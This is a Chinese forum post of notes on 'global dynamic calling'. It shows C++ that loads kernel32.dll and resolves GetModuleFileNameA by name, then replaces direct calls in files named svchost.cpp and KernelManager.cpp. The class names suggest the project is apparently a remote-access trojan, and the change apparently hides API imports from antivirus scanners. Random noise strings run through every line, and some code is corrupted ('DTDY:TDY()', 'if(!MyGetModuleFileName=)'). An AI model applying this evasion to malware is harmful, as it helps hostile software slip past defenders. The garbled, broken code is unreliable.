[原创文章] 全局动态调用 全局, 动态

ice_xke

全局动态调用笔记
3 H& R5 p! m8 z# J4 xsvchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h
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DTDY.h：
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& ?- q& y9 N8 K& H#if _MSC_VER>1000
5 r: @  d0 Z, n  J4 H* e; e! w#pragma once8 j! M6 z' `( l  a# M
#endif //_MSC_VER>1000
! q/ o0 N3 i8 z! |#include<windows.h>
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1 T8 K4 d$ T6 |: K* p: Mtypedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);
; j: Q$ n. [: O: g' Sclass DTDY
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9 t% C8 u2 y2 g# K2 _6 xpublic:
, F. q+ A; C, ~4 m, s: FDTDY();
0 Q# j8 `8 Z" Evirtual ~DTDY();% A2 l* R) U- L0 K
public:9 I; n: M6 r- g& M$ }3 ~) ~4 L) D
static pGetModuleFileNameA MyGetModuleFileName;  f; J& t$ N/ ]& M7 ^6 b" W
static BOOL FunInitiallization();4 G4 Q: S$ S( k0 M6 ]4 s
};
+ f  k, N7 b0 w. M" n$ M0 |#endif
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3 D2 {2 M  Q/ c, A5 lDTDY.cpp:
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9 ~/ m" \* t3 n, Z0 Q#include "DTDY.h"0 W- z* s1 U- U  T+ o
pGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;
5 H8 Z) o* j# A( w6 {3 m5 M- ADTDY:TDY()
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' R5 ~7 i. o. i# XDTDY::~DTDY()3 z1 a. S8 k$ H' {1 ~
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BOOL DTDY::FunInitiallization()
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HMODULE hModule=LoadLibrary("kernel32.dll");8 x" _' p& L# g+ s9 ?+ R
MyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");- U7 p; c3 J: ]. q% t
if(!MyGetModuleFileName=) return FALSE;
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return TRUE;# n: ~: I7 T# ^$ B/ ~( G! d
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svchost.cpp:
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#include "DTDY.h"6 [9 n# Z1 s. }3 g

6 K5 \* M7 e' B7 O) o# nBOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)
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switch(ul_reason_for_call)
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case DLL_PROCESS_ATTACH:$ \3 g3 u- }3 _% Q* n8 a, t
if(!DTDY::FunInitiallization()) return FALSE;
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9 h5 B2 C- D7 g) a- d3 Jbreak;
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GetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def* G% @7 C; ?# S
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DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));$ v# D/ h, i( ], ~3 Z7 l" Z
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KernelManager.cpp:
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#include "../DTDY.h"
* y8 V# K0 J9 B6 _8 d, KGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));/ x* t9 n' Y# G$ S) `. K  j6 ~
改写为
9 [  E+ k7 p2 t1 I$ [( T# M2 c" gDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
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